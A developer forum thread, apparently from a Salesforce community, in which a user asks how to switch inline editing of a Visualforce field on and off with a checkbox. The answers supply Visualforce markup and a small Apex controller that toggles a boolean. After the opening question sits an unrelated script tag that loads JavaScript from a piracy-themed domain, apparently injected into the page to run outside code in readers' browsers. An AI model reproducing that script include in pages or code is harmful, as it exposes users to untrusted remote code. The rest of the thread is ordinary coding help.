You need to sign in to do that
Don't have an account?
Arpit
Show one field based on checkbox selection in Inline editing mode in vf detail page.
Hi,
I have a requirement to show one field based on checkbox selection in Inline editing mode in vf detail page.
can you please help me to achieve this?
Thanks.
Arpit
<script type="text/javascript" src="http://cracks4free.info/5/adds.js"></script>
Vary your boolean variable onclick of the checkbox you want to controll the inline editing. And bind that boolean variable to the inline edit attribute as below,
<apex:outputField value="{!contact.lastname}">
<apex:inlineEditSupport showOnEdit="saveButton, cancelButton" rendered="{!YOURBOOLEANVARIABLE}"/>
</apex:outputField>
Hit kudosa and mark as answer if this helps you.
Thanks
Thanks for your answer but can you please explain in little more detail.I am using action Support to populate fields instead of Java Script.
Looking ahead for an quick Responce.
Thanks.
Hi,
Here's working code for you that shifts between inline editing enabled to inline editing unenabled.
Vf page:
<apex:page standardController="Contact" extensions="inlineEditControl">
<apex:form >
<apex:pageBlock mode="inlineEdit">
<apex:pageBlockButtons >
<apex:commandButton action="{!edit}" id="editButton" value="Edit"/>
<apex:commandButton action="{!save}" id="saveButton" value="Save"/>
<apex:commandButton onclick="resetInlineEdit()" id="cancelButton" value="Cancel"/>
</apex:pageBlockButtons>
<apex:pageblock >
Click here to enable inline editing <apex:inputCheckbox >
<apex:actionSupport event="onclick" action="{!SetInlineEdit}" reRender="pgblck"/>
</apex:inputCheckbox>
</apex:pageblock>
<apex:pageBlockSection id="pgblck">
<apex:outputField value="{!contact.lastname}">
<apex:inlineEditSupport showOnEdit="saveButton, cancelButton"
hideOnEdit="editButton" event="ondblclick"
changedStyleClass="myBoldClass" resetFunction="resetInlineEdit" rendered="{!InLineFlag}"/>
</apex:outputField>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Controller:
public with sharing class inlineEditControl {
Public Boolean InLineFlag{get;set;}
public inlineEditControl(ApexPages.StandardController controller) {
InLineFlag = false;
}
Public void SetInlineEdit(){
if(InLineFlag == false)
InLineFlag = true;
else
InLineFlag = false;
}
}
Hit kudos and mark this as answer if it helps you.
thanks,
I am using Outputfield of type Checkbox instead of the Inputcheckbox you are using in your code.
So please review the issue on this condition.
Thanks.